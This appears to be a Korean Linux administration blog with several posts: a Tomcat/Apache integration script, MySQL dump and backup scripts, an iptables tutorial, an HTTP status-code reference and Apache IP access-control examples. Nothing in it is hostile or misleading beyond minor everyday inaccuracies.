sed -i 's/CLASSPATH=\.\:\$JAVA\_HOME\/lib\/tools\.jar/CLASSPATH\=\.\:\$JAVA\_HOME\/lib\/tools\.jar\:\$CATALINA\_HOME\/lib\-jsp\-api\.jar\:\$CATALINA\_HOME\/lib\/servlet\-api\.jar/g' /etc/profile
sed -i 's/PATH=\$PATH\:\$JAVA\_HOME\/bin/PATH=\$PATH\:\$JAVA\_HOME\/bin\:\$CATALINA\_HOME\/bin/g' /etc/profile
sed -i 's/JAVA\_HOME CLASSPATH PATH/JAVA\_HOME CLASSPATH PATH CATALINA\_HOME/g' /etc/profile
source /etc/profile
/usr/local/tomcat/bin/startup.sh
cp -arp /usr/local/tomcat/bin/catalina.sh /etc/init.d/tomcat
chkconfig --add tomcat
;;

#Tomcat 8버전 설치
# ris에 해당버전이 없으며, 공식홈페이지에서 wget 으로 다운받아 사용
3)
cd $SOURCE_DIR
#$wget $SOURCE_ADDR/$tomcat3.tar.gz
#tar zxvf $tomcat3.tar.gz
#mv $tomcat3 /usr/local/tomcat
wget http://apache.tt.co.kr/tomcat/tomcat-8/v8.0.47/bin/apache-tomcat-8.0.47.tar.gz
tar -xvf apache-tomcat-8.0.47.tar.gz
mv apache-tomcat-8.0.47 /usr/local/tomcat
cp -arp /etc/profile /etc/profile_backup2

#여기에 환경변수설정 // sed -i 로 2번째 줄부터 5번째 줄까지 환경변수 추가
sed -i '3 i\CATALINA_HOME=/usr/local/tomcat' /etc/profile
sed -i 's/CLASSPATH=\.\:\$JAVA\_HOME\/lib\/tools\.jar/CLASSPATH\=\.\:\$JAVA\_HOME\/lib\/tools\.jar\:\$CATALINA\_HOME\/lib\-jsp\-api\.jar\:\$CATALINA\_HOME\/lib\/servlet\-api\.jar/g' /etc/profile
sed -i 's/PATH=\$PATH\:\$JAVA\_HOME\/bin/PATH=\$PATH\:\$JAVA\_HOME\/bin\:\$CATALINA\_HOME\/bin/g' /etc/profile
sed -i 's/JAVA\_HOME CLASSPATH PATH/JAVA\_HOME CLASSPATH PATH CATALINA\_HOME/g' /etc/profile
source /etc/profile
/usr/local/tomcat/bin/startup.sh
cp -arp /usr/local/tomcat/bin/catalina.sh /etc/init.d/tomcat
chkconfig --add tomcat
;;

*)
echo -e -n "잘못 입력 했습니다."
exit
;;
esac

# tomcat & apache 연동


cd $SOURCE_DIR

wget http://apache.mirror.cdnetworks.com/tomcat/tomcat-connectors/jk/tomcat-connectors-1.2.42-src.tar.gz

tar -zxvf tomcat-connectors-1.2.42-src.tar.gz

cd tomcat-connectors-1.2.42-src/native/

./configure --with-apxs=$apache_apxs

make

make install

cd $apache_conf

touch workers.properties

echo "workers.tomcat_home=/usr/local/tomcat

workers.java_home=/usr/local/java

# BEGIN workers.properties

worker.list=ajp13

worker.ajp13.port=8009

worker.ajp13.host=localhost

worker.ajp13.type=ajp13

worker.ajp13.lbfactor=1

# END workers.properties" >> $apache_conf/workers.properties


cp -arp httpd.conf httpd.conf_smileservbackup


# 아파치 설정부분에 모듈 추가하여 추가한 바로 아래에 설정내용 입력

apache_conf2=$apache_conf\httpd.conf

num=`cat -n $apache_conf2 | grep "LoadModule" | awk -F" " '{print $1}' |tail -n 1`

sed -i "`expr $num + 1` i\LoadModule jk_module modules/mod_jk.so" $apache_conf2

sed -i "`expr $num + 2` i\<IfModule jk_module>" $apache_conf2

sed -i "`expr $num + 3` i\JkWorkersFile conf/workers.properties" $apache_conf2

sed -i "`expr $num + 4` i\JkShmFile logs/mod_jk.shm" $apache_conf2

sed -i "`expr $num + 5` i\JkLogFile logs/mod_jk.log" $apache_conf2

sed -i "`expr $num + 6` i\JkLogLevel info" $apache_conf2

sed -i "`expr $num + 7` i\JkLogStampFormat \"[%a %b %d %H :%M :%S %Y]\"" $apache_conf2

sed -i "`expr $num + 8` i\JkMount /*.jsp ajp13" $apache_conf2

sed -i "`expr $num + 9` i\</ifModule>" $apache_conf2


# DirectoryIndex 부분과 AddType 부분에 jsp 내용 추가
sed -i 's/DirectoryIndex index.*/DirectoryIndex index.html index.php index.jsp/g' $apache_conf2
sed -i 's/AddType application\/x-httpd-php .*/AddType application\/x-httpd-php .php .jsp .html/g' $apache_conf2

echo ""
echo -e "    \\033[01;31m[[ java & tomcat 설치 및 아파치와 연동 완료되었습니다. ]]"
echo -e "    \\033[01;32m1) 아파치에서 vhost를 사용할 경우 각 도메인 설정에 JKMount /*.jsp ajp13 을 추가하여 사용하시면 됩니다. "
echo -e "    \\033[01;32m2) 현재 jsp 를 기본적으로 읽어드리는 경로는 /usr/local/tomcat/webapps/ROOT/ 입니다. "
echo -e "    \\033[01;32m3) 해당 경로를 변경하고 싶다면 , 톰캣에서 설정을 변경해주시면 되겠습니다."
echo -e "    \\033[01;32m3) 웹서비스를 하는 고객일 경우를 대비하여 아파치 재시작을 하지 않았습니다.아차피를 재시작 하셔야 정상적으로 연동이 완료됩니다."
echo -e "    \\033[01;32m3) 감사합니다."
echo ""

          



'Linux Server > Script' 카테고리의 다른 글

[Script] openssl 버전 업그레이드 스크립트 작성  (0) 2021.07.07
[Script] mysql 덤프  (0) 2018.02.26
[Script] 홈소스 백업  (0) 2018.02.26
[개발공부] 스크립트 작성  (0) 2017.10.17
[개발공부] php 개발  (0) 2016.12.14
Posted by 실력키우기

[ 단순 mysql 덤프 ]


#!/bin/sh


DATE=`date +"%Y%m%d%H%M%S"`


USERNAME="root"


PASSWORD="패스워드비공개"


DATABASE="test"


mysqldump -u$USERNAME -p$PASSWORD  $DATABASE > /backup/mysql_db_bak_${DATE}.sql

Posted by 실력키우기

[ 단순 홈소스 백업 및 삭제 ]


#!/bin/bash

/usr/bin/find /backup/back/ -ctime +1 -exec rm -rf {} \;

system_backup_root="/backup/back/"

sysdtime=`date +%Y%m%d`

mkdir -p $system_backup_root/$sysdtime

tar -Pczf "$system_backup_root/$sysdtime/Les_DB_$sysdtime.tar.gz" /var/lib/mysql

tar -Pczf "$system_backup_root/$sysdtime/Les_LM_$sysdtime.tar.gz" /home/les

tar -Pczf "$system_backup_root/$sysdtime/Les_WEB_$sysdtime.tar.gz" /usr/local/src/mysqlbackup

exit 0

Posted by 실력키우기

[ Iptables 설치 및 설정 ]


iptables는 리눅스상에서 방화벽을 설정하는 도구입니다.

iptables는 커널상에서 netfilter 패킷필터링 기능을 사용자 공간에서 제어하는 수준으로 사용할 수 있습니다.

패킷 필터링이란 지나가는 패킷의 헤더를 보고 그 전체 패킷의 운명을 결정하는것을 말하며, 헤더에 필터링할 정보인 출발지 ip:port , 도착지ip:port 등 프로토콜 옵션등을 가지며, 데이터는 각각 전송데이터가 들어갑니다.

특정 조건을 가지고 있는 패킷에 대해 허용(ACCEPT) 및 차단(DROP)등을 지정할 수 있습니다.

특히 iptables 정책은 여러 구분으로 나눠지며 중요한 부분은 Chain입니다.

 

Chain INPUT : 서버로 들어오는 기본정책

- 서버를 목적지로 삼는 모든 패킷은 INPUT Chain을 통해 서버로 통과하게 된다.

 

Chain OUTPUT : 서버에서 나가는 기본정책

- 서버에서 생성되어 외부로 나가는 모든 패킷은 OUTPUT Chain을 통해 서버에서 나가게 된다.

 

Chain FORWARD : 서버에서 forwarding 되는 기본 정책

- 해당 서버가 목적지가 아닌 이 서버를 거쳐 패킷이 통과하는 Chain이다.




우분투에서 설치 방법


- 우분투에서는 iptables 가 설치되어 있지 않습니다.

우분투에서 기본적으로 ufw 라는 방화벽을 쓰며, 해당 방화벽을 disable시킨 상태에서 iptables 설치 

# apt-get install iptables-persistent

# cp /usr/share/netfilter-persistent/plugins.d/15-ip4tables /etc/init.d/iptables 해당 파일 init.d에 복사

# /etc/init.d/iptables start iptables 시작 명령어# /etc/init.d/iptables flush iptables 종료 명령어

# update-rc.d -f iptables defaults 부팅시 iptables 자동으로 올라오도록 설정


insserv: warning: script ‘K01iptables’ missing LSB tags and overrides


insserv: warning: script ‘iptables’ missing LSB tags and overrides


위와 같은 에러가 뜰경우 아래 파일에 LSB tag값이 지정되어있지 않다는 메세지이며 상단에 아래 문구삽입


# vi /etc/init.d/iptables 

### BEGIN INIT INFO 

# Provides: skeleton 

# Required-Start: $remote_fs $syslog 

# Required-Stop: $remote_fs $syslog 

# Default-Start: 2 3 4 5 

# Default-Stop: 0 1 6 

# Short-Description: Example initscript 

# Description: This file should be used to construct scripts to be # placed in /etc/init.d. 

### END INIT INFO


iptables의 파일 위치 /etc/iptables/rules.v4 해당 파일을 수정하여 룰적용을 하는 방법 및 명령어를 이용하여 룰적용을 하는 방법이 있습니다.

 

 

 

centos 6 에서 설치방법

 

- centos6 경우 iptables가 대부분 설치가 되어 있습니다.

# yum install -y iptables

# chkconfig iptables on 서비스를 시작프로그램에 등록합니다.

# service iptables start iptables 실행 명령어

# service iptables stop iptables 종료 명령어

iptables의 파일위치 /etc/sysconfig/iptables

 



매치

 

- iptables에서 패킷을 처리할때 만족해야 하는 조건을 가리킨다. 이 조건을 만족시키는 패킷들만 규칙을 적용한다.

--source (-s) 출발지 IP주소를 나타냄

--destination (-d) 목적지 IP주소를 나타냄

--protocol (-p) 특정 프로토콜과의 매칭

--in-interface (-i) 입력 인터페이스

--out-interface (-o) 출력 인터페이스

--state 연결 상태와의 매칭

--string 애플리케이션 계층 데이터 바이트 순서와의 매칭

--comment 커널 메모리 내의 규칙과 연계되는 최대 256바이트 주석--syn (-y) SYN 패킷을 허용하지 않는다.

--fragment (-f) 두번째 이후의 조각에 대해서 규칙을 명시한다.

--table (-t) 처리퇼 테이블

--jump (-j) 규칙에 맞는 패킷을 어떻게 처리할 것인가를 명시한다.

--match (-m) 특정 모듈과의 매치

 

 


타겟

 

- iptables는 패킷이 규칙과 일치할 때 동작을 취하는 타겟을 지원한다.

ACCEPT 패킷을 받아들인다.

DROP 패킷을 버린다 (패킷이 전송된 적이 없던 것처럼)

REJECT 패킷을 버리고 이와 동시에 적절한 응답 패킷을 전송한다.

LOG 패킷을 syslog에 기록한다.RETURN 호출 체인 내에서 패킷 처리를 계속한다.

 


 

연결추적

 

- 내부 네트워크 상 서비스 연결 상태에 따라서 그 연결을 감시하고 제한할 수 있게 해준다. 연결 추적방식은 연결 상태를

표에 저장하기 때문에, 다음과 같은 연결 상태에 따라서 연결을 허용하거나 거부할 수 있다.

NEW 새로운 연결을 요청하는 패킷 (ex: HTTP 요청)

ESTABLISHED 기존 연결의 일부인 패킷

RELATED 기존 연결에 속하지만 새로운 연결을 요청하는 패킷

INVALID 연결 추적표에서 어디 연결에도 속하지 않은 패킷

 



명령어


- iptables의 명령어

-A 새로운 규칙을 추가한다.-D 규칙을 삭제한다.-C 패킷을 테스트 한다.-R 새로운 규칙으로 교체한다.-I 새로운 규칙을 삽입한다.-L 규칙을 출력한다.-F chain으로 부터 규칙을 모두 삭제한다.-Z 모든 chain의 패킷과 바이트 카운터 값을 0으로 만든다.-N 새로운 chain을 만든다.-X chain을 삭제한다.-P 기본정책을 변경한다.

 

 


기본동작

 

- iptables에서의 기본동작

- 패킷에 대한 동작은 위에서 부터 차례로 각 규칙에 대해 검사하고, 규칙과 일치하는 패킷에 대하여 ACCEPT , DROP 등을 수행한다.

- 규칙이 일치하고 작업이 수행되면, 그 패킷은 해당 규칙의 결과에 따라 처리하고 체인에서 추가 규칙을 무시한다.

- 패킷이 체인의 모든 규칙과 매치하지 않아 규칙의 바닥에 도달하면 정해진 기본정책(policy)을 수행한다.

- 기본 정책은 ACCEPT , DROP 으로 설정 가능하다.

- 일반적으로 기본정책은 모든 패킷에 대하여 DROP을 설정하고 특별히 지정된 포트와 IP주소등에 대해 ACCEPT를 수행하게 만든다.

 

- 주의사항

기본 정책 수립에 있어서 DROP 으로 설정할 경우 원격에서 SSH를 접속하여 사용중이라면, 설정하는 순간 서버와 통신이 단절 됩니다. 그러므로 처음 기본 정책을 ACCEPT로 설정하여 SSH 설정을 마친 후 다시 기본정책을 DROP으로 변경하시길 바랍니다.




현재 룰 상태 확인

 

- iptables -nL 명령어를 통해 현재 등록되어있는 룰을 확인할수 있습니다.


위 그림은 iptables -nL 명령어로 통해 확인한 방화벽 룰입니다.iptables -nL line-numbers 로 확인시 룰셋 적용순서까지 확인이 가능합니다.




iptables 명령어 활용

 

- Iptables 는 기본정책이 ACCEPT 인지 DROP 인지에 따라서 설정 방법이 다릅니다.

# iptables -P INPUT ACCEPT INPUT 체인에 들어오는 패킷을 전부 허용 상태에서의 룰 적용 

- 서버로 들어오는 패킷을 전부 허용 시킨 상태에서 DROP 정책으로 하나씩 막는 방식 입니다.


# iptables -P INPUT DROP INPUT 체인에 들어오는 패킷을 전부 드랍 상태에서의 룰 적용 

- 서버로 들어오는 패킷을 전부 막은 상태에서 ACCEPT 정책으로 하나씩 허용하는 방식 입니다.

 

- 초기 셋팅에 아래 내용 추가

# iptables -A INPUT -i lo -j ACCEPT 

- 일반적으로 많은 소프트웨어들이 localhost 어댑터와 통신이 되어야 하기때문에 필요합니다.


# iptables -A INPUT -m state state ESTABLISHED,RELATED -j ACCEPT 

- INPUT Chain에 접속에 속하는 패킷과 기존의 접속 부분은 아니지만 연관성을 가진 패킷을 허용하는 규칙

 

- 특정 IP 접근을 차단한다.

# iptables -A INPUT -s 115.68.27.76 -j DROP 출발 ip115.68.27.76인 패킷을 차단

# iptables -A INPUT -d 115.68.27.76 -j DROP 목적지 ip115.68.27.76인 패킷을 차단


- 특정 IP 대역대의 접근을 차단한다.

# iptables -A INPUT -s 115.68.27.0/24 -j DROP 출발 ip의 대역이 115.68.27.0/24 인 패킷을 차단

# iptables -A INPUT -d 115.68.27.0/24 -j DROP 목적지 ip의 대역이 115.68.27.76.0/24 인 패킷을 차단


- 포트 범위로 허용 및 거부

# iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 50001:50005 -j ACCEPT 

- 접속패킷 포트 50001 ~ 50005 번까지 허용


# iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 50001:50005 -j DROP 

- 접속패킷 포트 50001 ~ 50005 번까지 거부


- 특정 IP에 대한 특정 포트허용 및 거부

# iptables -A INPUT -p tcp -s 115.68.27.76 -m state --state NEW -m tcp --dport 80 -j ACCEPT 

- IP 115.68.27.76에 대해 접속패킷 80번 포트를 허용


# iptables -A INPUT -p tcp -s 115.68.27.0/24 -m state --state NEW -m tcp --dport 80 -j ACCEPT 

- IP 115.68.27 대역에 대해 접속패킷 80번 포트를 허용


# iptables -A INPUT -p tcp -s 115.68.27.76 -m state --state NEW -m tcp --dport 80 -j DROP 

- IP 115.68.27.76에 대해 접속패킷 80번 포트를 거부


# iptables -A INPUT -p tcp -s 115.68.27.0/24 -m state --state NEW -m tcp --dport 80 -j DROP 

- IP 115.68.27 대역에 대해 접속패킷 80번 포트를 거부

 

- 인터페이스 지정

# iptables -A INPUT -i eth0 -p tcp dport 80 -j ACCEPT 인터페이스 eth0 로 들어오는 80포트 허용

# iptables -A INPUT -i eth0 -p tcp dport 80 -j DROP 인터페이스 eth0 로 들어오는 80포트 거부


- 룰 적용후 저장

# /etc/init.d/iptables save iptables의 룰을 명령어로 적용시킨 후 해당 명령어로 저장합니다. 

- 위처럼 하는 이유는 iptables 명령어로 룰을 적용시켰을 경우 방화벽을 재시작 하거나, 서버를 재부팅 했을 경우 룰이 저장이 되지 않고 전부 날아가기 때문입니다.

 



룰에대한 설명

 

흰색 부분은 전부 이해되셨을 거라 생각되며, 빨간 부분에 대해서 설명을 해드리겠습니다.

체인 RH-Firewall-1-INPUT의 최상단에 115.68.234.244의 아이피가 DROP 되어 있기 때문에 아래의 방화벽 룰 적용에 관계없이 서버에 접근할 수 없게 됩니다.

, 룰에서 2001포트가 먼저 허용되어 있고, 그뒤에 2000~2500 번 까지 드랍정책이 설정되었기 때문에 2001포트 를 제외한 2000~2500까지 모두 드랍이 되는 정책입니다.

모든 패킷을 거부하는 룰이며, 해당 룰 상단에 룰을 제외한 모든 부분을 거부해 버립니다.

바로 위에 룰이 적용되어 있기 때문에 해당 룰이 적용되지 않습니다.


'Linux Server > etc' 카테고리의 다른 글

[기타] 리눅스서버 사이트 이전  (1) 2018.03.02
[ 기타 ] 해킹점검  (0) 2018.03.02
[기타] rsync 설치 및 사용법  (0) 2017.08.08
[기타] 리눅스 시간 동기화  (0) 2017.03.09
[기타] tcpdump 사용방법  (0) 2017.01.25
Posted by 실력키우기

[ http_error_code ]


HTTP(하이퍼텍스트 전송 프로토콜) 응답 상태 코드란 현제의 error 상태를 알려주는 코드입니다.

현재 상황에 맞게 error code 를 발생시키며 , 해당 코드를 보고 문제를 유추할수 있으며, 더욱 쉽게 문제를 해결할 수 있습니다. 현재 http_error_code는 인터넷 할당 번호 관리 기관 (IANA)에서 http 상태 코드를 관리 및 유지하며,

해당 에러코드들만 잘해독해도 문제를 해결하는데 많은 도움이 될거라고 생각됩니다.


코드 목록에 따른 상태

 

1xx (조건부 응답) 요청이 수신되어 이해되었음을 나타내는 코드입니다.

 

2xx (성공) - 이 클래스의 상태 코드는 클라이언트가 요청한 동작을 수신하여 이해했고 승낙했으며 성공적으로 처리했음을 가리킵니다.

 

3xx (리다이렉션 완료) 클라이언트는 요청을 마치기 위해 추가 동작을 취해야 함을 나타냅니다.

 

4xx (요청오류) 이 클래스의 상태코드는 클라이언트에 오류가 있음을 나타냅니다.

 

5xx (서버오류) 서버가 유효한 요청을 명백하게 수행하지 못했음을 나타냅니다.



2. http_error_code 원인 및 문제해결

 

2-1 4xx (요청오류) 원인 및 문제해결

 

400 Bad Request, 요청 실패

원인 : 문법상 오류가 있어서 서버가 요청 사항을 이해하지 못할때 발생되는 에러

해결방법 : 주소를 정확히 입력하거나 , 문법을 정확하게 입력하여 해결




401 코드 - Unauthenticated 인증실패


401 Bad Request, 요청 실패

원인 : 401 response(응답) 를 받은 클라이언트는 적절한 Authorization(권한부여) credentials(신용 증명 물)를 포함하는 Authorization 헤더와 함께 다시 Request 메시지를 전송합니다. Request 메시지에 그와 같은 Authorization credentials이 포함된 경우에 401 상태코드가 전달되면 user authentication(인증)이 실패한 것을 나타낸다.

해결방법 : 즉 인증에 실패한것임으로 적절한 권한이 있는 사용자로 인증을 받아 해결

 

401.1 Unauthorized, 권한 없음 로그온 실패

원인 : 서버에 로그온 하려는 요청 사항이 서버에 들어있는 권한과 비교했을 시 맞지 않을 경우 발생.

해결방법 : 아이디 및 패스워드를 정확하게 입력하여 해결

 

401.2 Unauthorized, 권한 없음

원인 : 서버에 로그온 하려는 요청사항이 서버에 들어있는 권한과 비교했을 때 맞지 않았을 경우 발생

이것은 일반적으로 적절한 www-authenticate head field를 전송하지 않아서 발생함.

해결방법 : 적절한 www-authenticate head field를 전송하여 해결

 

401.3 Unauthorized, 권한 없음 - 자원에 대한 ACL에 기인한 권한 없음.

원인 : 클라이언트가 특정 자원에 접근할 수 없을 때 발생. 이 자원은 페이지가 될 수도 있고, 클라이언트의 주소 입력란에 명기된 파일일 수도 있다. 또한, 클라이언트가 해당 주소로 접속할 때 이용되는 또 다른 파일일 수도 있습니다.

해결방법 : 접근할 전체 주소를 다시 확인해 보고 웹 자원에 접근할 권한을 부여받아 해결



403 코드 Forbidden 인가실패

 

403.1 Forbidden, 금지 - 실행 액세스 금지

원인 : CGIISA-PI, 혹은 수행시키지 못하도록 되어 있는 디렉터리 내의 실행 파일을 수행시키려고 했을 때 발생

해결방법 : 해당 기능을 사용할수 있도록 설정 및 권한등을 부여하여 해결

 

403.2 Forbidden, 금지 읽기 엑세스 금지

원인 : 원인 : 브라우저가 접근한 디렉터리에 접근가능한 디폴트 페이지가 없을 경우에 발생

해결방법 : 해당 디렉터리에 접근 가능한 디폴트 페이지를 생성하거나 권한을 부여하여 해결

 

403.3 Forbidden, 금지 쓰기 엑세스 금지

원인 : 원인 : 브라우저가 접근한 디렉터리에 쓰기 가능한 권한이 부여되지 않았을 때 발생

해결방법 : 해당 디렉터리에 쓰기 가능한 권한을 부여하여 해결

 

403.4 Forbidden, 금지 SSL 필요

원인 : SSL(https) 프로토콜을 사용 하여 들어오는 요청을 원하지만 http 프로토콜 사용하여 요청을 보낼때 발생

해결방법 : https로 시작하는 URL 확인 하거나 , 서버에서 웹사이트에 대한 ssl 필요 옵션을 제거하여 해결

 

403.5 Forbidden, 금지 SSL 128bit 필요

원인 : 웹서버가 128bit SSL 연결을 요구 하도록 구성되어 있지만 클라이언트 브라우저에서 128bit 암호화를 지원하지 않을때 발생

해결방법 : 클라이언트에서 128bit ssl을 지원하는 웹 브라우저를 사용하거나 , 웹서버에서 SSL 통신의 보안 수준을 낮추어 문제 해결

 

403.6 Forbidden, 금지 IP 주소 거부

원인 : IpSecurity XML 요소의 allowUnlisted 속성의 값은 false이며, 클아이언트 컴퓨터의 IP주소 ipSecurity XML 요소 아래에 IP주소 목록에 나타나지 않습니다. IIS IP주소 ipSecurity XML 요소 아래 목록에 표시 되지 않는 IP 주소에서 모든 요청을 거부하기 때문에 발생

해결방법 : IpSecurity XML 요소를 찾은 후 allowUnlisted 속성의 값을 true로 설정하거나, IpSecurity XML 요소 아래 IP 주소의 목록에서 클라이언트 컴퓨터의 IP 주소를 찾아 수 속성의 값을 true로 설정하여 해결가능 하지만 서버 보안 수준이 떨어질 수 있음.

403.7 Forbidden, 금지 클라이언트 인증서 필요

원인 : 클라이언트 확인 필요. 이 에러는 접근하려는 자원이 서버가 인식하기 위해서 브라우저에게 클라이언트 SSL을 요청하는 경우 발생함. 자원을 이용할 수 있는 사용자임을 입증하는데 사용됨

해결방법 : 웹사이트에서 신뢰하는 인증기관에서 클라이언트 인증서를 발급받아 인증서를 구성하여 해결 하거나, 웹서버에서 SSL 설정값에서 클라이언트 인증서에서 수락 옵션을 선택 및 적용하여 문제해결

 

403.8 Forbidden, 금지 사이트 액세스 거부

원인 : 웹사이트 명시적으로 클라이언트 컴퓨터에서 요청을 거부 하도록 구성되어있기 때문에 발생. IIS는 클라이언트 컴퓨터의 DNS 이름을 확인 하여 명시적으로 요청을 거부함

해결방법 : ApplicationHost.config 파일에서 IpSecurity XML 요소에서 true로 클아이언트 컴퓨터에 대한 도메인 이름 XML요소의 수 속성값을 설정 ( domainName 추가 = “Client_Computer” 허용 = “true” /> )

 

403.9 Forbidden, 금지 연결된 사용자수 과다

원인 : 웹 서버에 연결한 사용자의 수가 웹서버 관리자가 설정한 연결 제한을 초과한 경우에 발생

해결방법 : 웹 서버에 연결할 수 있는 제한을 늘려 해당 문제 해결

 

403.10 Forbidden, 금지 설정이 확실하지 않음

원인 : 웹 서버의 설정쪽에 문제가 있어 접근이 불가능 할 경우에 발생

해결방법 : 웹 설정을 알맞게 변경하여 문제 해결

 

403.11 Forbidden, 금지 패스워드 변경됨

원인 : 사용자 확인단계에서 잘못된 패스워드를 입력했을 경우 발생

해결방법 : 페이지를 갱신한 후 정확한 패스워드를 입력하여 문제 해결

 

403.12 Forbidden, 금지 Mapper 접근 금지

원인 : 클라이언트 인증서 매핑 구성된 사용자 계정이 요청된 파일에 대한 읽기 권한이 없기 때문에 발생

해결방법 : 해당 파일에 대해 읽기 권한을 부여하여 해결

 

404 Not Found

원인 : 클라이언트가 요청한 디렉터리나 파일이 웹서버에 존재하지 않았을때 발생

해결방법 : URL을 다시 잘 보고 주소가 올바로 입력되었는지 확인

 

404.2 Not Found ISAPI 또는 CGI가 제한됨

원인 : ISAPI 인터넷 서버 API 리소스나 요청한 CGI 리소스가 제한되어 발생

해결방법 : ISAPI CGI 제한 페이지에서 요청한 자원의 제한을 허용하여 해결

 

404.3 Not Found MIME 형식제한

원인 : 요청된 파일 이름 확장명에 대한 처리기 매핑이 구성되어 있지 않을 때 발생

해결방법 : MIME 형식에서 필요한 파일 및 MIME 형식 확장자명을 추가하여 문제 해결

 

404.7 Not Found 파일 확장명이 거부됨

원인 : 윈도우 서버일 경우 allowUnlisted 특성이 false로 설정되어 있거나 , 서버 내에서 해당 파일의 파일이름 확장명이 표시되어 있지 않을때 발생

해결방법 : ApplicationHost.config 파일에서 RequestFiltering 섹션에서 FileExtensions allowUnlisted 값을 true로 변경하거나, 해당파일의 확장자가 보이도록 보기옵션을 변경하여 문제 해결

 

404.9 Not Found 파일 특성이 숨겨짐

원인 : 요청한 파일이 숨겨져 있을때 해방 문제 발생

해결방법 : 해당파일이 숨겨져 있으며, 숨겨져 있는 옵션을 취소하여 문제 해결

 

405 Method not allowed

원인 : Request 라인에 명시된 메소드를 수행하기 위해 해당 자원의 이용이 허용되지 않았을때 발생

해결방법 : 요청한 자원에 적절한 MIME 타입을 갖고 있는지 확인 후 MIME타입을 적절하게 입력할 것

 

407 Proxy Authentication Required

원인 : 해당 요청이 수행되도록 Proxy 서버에게 인증을 받아야 할때 발생

해결방법 : Proxy 서버로 로그온 한 후에 다시 시도하여 해결

408 Request timeout

원인 : 레지스트리에 문제가 발생하였거나, 악성 프로그램 감염이 되었거나 , 디스크 문제 등으로 요청이 지연되는 경우에 해당 문제 발생

해결방법 : 손상된 레지스트리를 복원 , 악성프로그램 제거 , 디스크 문제 확인 등으로 해당문제 해결

 



2-2 5xx (요청오류) 원인 및 문제해결

 

500 서버 내부 오류

원인 : syntax error , 권한 , 변수정의 , 특수문자 처리 , 전송방식 지정 , 데몬상태 등 다양한 이유로 요청사항이 서버 내부에서 수행할 수 없을 때 발생

해결방법 : 사실상 500에러는 상당히 광범위하며, 500에러가 발생하였을때 서버 내부에서 확인해야 한다.

문법확인 , 권한지정 , 변수 및 특수문자처리부분 , 데몬의 버전이 안맞는다거나, 데몬이 멈춰있다거나 등의 이유로 발생하는데, 각각의 증상에 따라 적절하게 대응하여 문제를 해결

501 서버 내부 오류 Not Implemented

원인 : 시스템에서 CGI를 지원하지 못하도록 막아두었거나, CGI설정이 제대로 되어있지 않을 경우 발생

해결방법 : CGI를 사용할수 있도록 수정을 하여 문제를 해결

 

502 서버 내부 오류 Bad Gateway

원인 : 접속자수가 많아 과부하 상태거나 , 클라이언트 브라우저에 이상이 있을때 문제 발생

해결방법 : 주로 과부하 상태일때 많이 발생되며, 서버 사양을 업그레이드 하거나, 사용자가 많지 않을때 접근하거나 , 웹서비스를 재시작하여, 일시적으로 문제를 해결

 

503 서버 내부 오류 server Unavailable

원인 : 서비스가 현재 멈춘 상태이거나 일시적인 과부하 상태 및 관리(유지,보수) 때문에 요청을 처리하지 못할 경우 발생

해결방법 : 관련 데몬이 다운되어있을 가능성이 크며, 해당 데몬을 실행시켜 문제 해결





3. 에러페이지 변경

 

3-1 기본 에러페이지 변경

http_error_code를 발생시키는데 클라이언트들에게 이러한 코드를 보여줄 필요는 없다고 생각합니다.

httpd.conf 파일에 아래내용을 추가하여 해당 에러코드가 발생될때 특정 페이지를 보여주도록 설정할수 있습니다.물론 해당 페이지의 소스코드는 직접 개발해야 합니다.

 

httpd.conf 파일 수정

Alias /error_page "/home/les" error_page의 경로 설정

Alias /error_image "/home/les" error_page의 경로 설정

ErrorDocument 404 /error_page/404.htm 404 error_page의 보여질 페이지의 파일 경로

ErrorDocument 403 /error_page/403.htm 403 error_page의 보여질 페이지의 파일 경로

위처럼 원하는 에러코드의 번호를 추가하여 해당 에러코드가 발생될때 특정 페이지가 보이도록 설정가능합니다

 


아파치 설정하기 전 404에러가 발생하였을때 기존 페이지


 

아파치 설정 후 404에러가 발생하였을때 페이지


'Linux Server > apache' 카테고리의 다른 글

[apache] ip 접속 제어  (0) 2018.02.09
[apache] letsencrypt 설치 및 설정  (2) 2017.08.03
[apache] ssl 키 발급 및 적용  (0) 2017.06.03
[php 언어셋 문제]  (0) 2017.05.09
[apache] cband 모듈설치  (0) 2017.04.27
Posted by 실력키우기

[ apache 접속제어 ]


apache 에서 특정 ip 접속 제어를 하기위해 httpd.conf or httpd-vhosts.conf에서 설정



vi /usr/local/apache/conf/extra/httpd-vhosts.conf


----------------------------------------------------------------------------------------------------------------------------------------------------------------------

해당 도메인으로 접속을 전부 거부함

<VirtualHost *:80>

    DocumentRoot "/home/web/"

    ServerName leeeunseok.xyz

    ErrorLog "logs/leeeunseok.xyz_error_log"

    CustomLog "logs/leeeunseok.xyz_access_log" common

<Directory "/home/web/">

Order deny,allow

require all denied

</Directory>

</VirtualHost>


----------------------------------------------------------------------------------------------------------------------------------------------------------------------

해당 도메인으로 115.68.87.2의 아이피만 접속을 허용함

<VirtualHost *:80>
    DocumentRoot "/home/web/"
    ServerName leeeunseok.xyz
    ErrorLog "logs/115.68.220.220_error_log"
    CustomLog "logs/115.68.220.220_access_log" common
<Directory "/home/web/">
Order deny,allow
require all denied
require ip 115.68.87.2
</Directory>
</VirtualHost>


----------------------------------------------------------------------------------------------------------------------------------------------------------------------

해당 도메인으로 115.68.87.2의 아이피만 접속을 거부함


<VirtualHost *:80>

    DocumentRoot "/home/web/"

    ServerName leeeunseok.xyz

    ErrorLog "logs/115.68.220.220_error_log"

    CustomLog "logs/115.68.220.220_access_log" common

<Directory "/home/web/">

Order deny,allow

Require all granted

Require not ip 115.68.87.2

</Directory>



----------------------------------------------------------------------------------------------------------------------------------------------------------------------

위의 룰은 아파치 2.4의 룰이며 , 그 이하의 버전에서의 설정은 아래를 참고



전처접근 차단 후 특정아이피 허용

deny from all

allow from 127.0.0.1


전체접근 허용후 특정 아이피 차단

allow from all

deny from 127.0.0.1

'Linux Server > apache' 카테고리의 다른 글

[apache] http_error_code  (0) 2018.02.26
[apache] letsencrypt 설치 및 설정  (2) 2017.08.03
[apache] ssl 키 발급 및 적용  (0) 2017.06.03
[php 언어셋 문제]  (0) 2017.05.09
[apache] cband 모듈설치  (0) 2017.04.27
Posted by 실력키우기

[ 우분투 apt-get update 및 패키지 설치 안될경우]


----------------------------------------------------------------------------------------------------------------------------------------------------------------

1> 아래 명령어 실행


rm -rf /var/lib/apt/lists/*

apt-get update


